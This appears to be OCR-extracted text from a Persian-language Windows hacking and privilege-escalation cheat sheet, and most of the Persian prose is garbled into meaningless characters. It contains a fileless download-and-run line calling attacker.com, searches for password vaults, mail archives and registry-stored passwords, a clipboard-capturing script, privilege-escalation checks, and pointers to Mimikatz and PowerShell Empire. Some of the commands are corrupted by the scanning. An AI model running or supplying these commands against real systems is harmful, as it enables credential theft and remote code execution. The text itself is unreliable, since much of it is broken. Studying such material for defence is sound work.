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C:\Windows\System32\config y 505 :SA ecurity Account Manager)
\.. Lus :NTDS.DIT .
\ :Registry .
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PowerShell ¢ CMD (5,9 06 giuw> Qo

: CMD Essentials
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findstr /i "password" *.txt
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Get-Computerinfo

Get-LocalUsel
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U9 ILHT 1) 490 - Sawd (59) gl g

IEX (New-Object Net.WebClient).DownloadString(‘http://attacker.com/payload.ps1’)

wsg,S 9 w2,
Get-LocalUser | Select-Object Name,Enabled,PasswordLastSet,LastLogon
il glogug
Get-WmiObject win32_service | Where-Object {S_.PathName -notlike "*svchost*"}
b (5lo Juld

Get-Childltem -Path C:\ -Recurse -Include "*.kdbx","*.pst","*pass*","*secret*" -ErrorAction SilentlyContinue

Add-Type -AssemblyName System.Windows.Forms

hook = New-Object Windows.Forms.Timer$

hook.Interval = 100$

hook.Add_Tick({Soutput = Get-Clipboard; if(Soutput -ne Slast){Slast=Soutput; "Clipboard: Soutput'}})$
(Jhook.Start$

Start-Sleep -Seconds 30
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PowerShell Encoding & Obfuscation

Scommand = "Write-Host 'Hello from obfuscated Powel
Sbytes = [System.Text.Enco -/L.-_m
Sencoded = [Con 1/
Write-Host ‘-/

Www.01ST.IR



Www.01ST.IR

Sl slad cosal (B9el = pole S 5 yho
Windows Privilege Escalation Basics
A= Gl Ganyiwd )
whoami /priv
whoami /groups
ool sl Jld (o=
dir /s *admin* C:\Users\
dir /s *.kdbx C:\
dir /s *password* *.txt C:\
pulos OleMbl (gl iz Gw)
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Scheduled Tasks w,
schtasks /query /fo LIST /v
AlwayslnstallElevated ,w) »
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwayslInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwayslInstallElevated
Unquoted Service Paths _w,

wmic service get name,displayname,pathname,startmode | findstr /i "Auto” | findstr /i /v "C:\Windows\" |
findstr /i /v ™"
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Microsoft 593509 Jud=3 (sl acgozo Sysinternals Suite
Sysinternals o318 aid vy T 2o Process Explorer
Sysinternals aSudh ¢ iz (b S gile ProcMon
Sysinternals aSudy SVLasl Gioles TCPView
Sysinternals =595 (sloaol p Cu e Autoruns
SourceForge A=y g 8 (g i) aunlie Regshot

GitHub CaglnS Iy PowerShell Empire
GitHub AD Jd=5 BloodHound
GitHub RAM;I 50, gl3ciwl Mimikatz

PowerShell;l Sysinternals uas
Invoke-WebRequest -Uri "https://live.sysinternals.com/PsExec.exe" -OutFile "PsExec.exe"
Invoke-WebRequest -Uri "https://live.sysinternals.com/procexp.exe" -OutFile "procexp.exe"
Invoke-WebRequest -Uri "https://live.sysinternals.com/procmon.exe" -OutFile "procmon.exe"
Invoke-WebRequest -Uri "https://live.sysinternals.com/TCPView.exe" -OutFile "TCPView.exe"
Invoke-WebRequest -Uri "https://live.sysinternals.com/Autoruns.exe" -OutFile "Autoruns.exe"

Invoke-WebRequest -Uri "https://live.sysinternals.com/PsExec64.exe" -OutFile "PsExec64.exe"
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S |y=1 |, Get-Computerinfo g systeminfo g 3iS ;U |, PowerShell ¢ CMD i

3.S 1w PowerShell g CMD b |y o (sl0g )3 o (50,8 .

35S bl | g3lesue o pumgrmw 9 35S Cuwd ) L2l o )5 glogug :

S w0 Get-Process g tasklist b | loassl,9 .

25S 2lwlisls 1) Listening (glaw)g 9 23S )0 Netstat -ano b | Jled asuds wVLlasl .
S gz |y Gl a1 aS sauggiy PowerShell ) Sl S .

aS |y=1 1) Process Explorer g aS >gbils |, Sysinternals Suite .

2SS Hgiwbe |y (g Wl ProcMon b .

Jsugis PowerShell Fileless Download & Execute < Sl S .

S sy |y o event log g 3uS (s |, PowerShell Logging .
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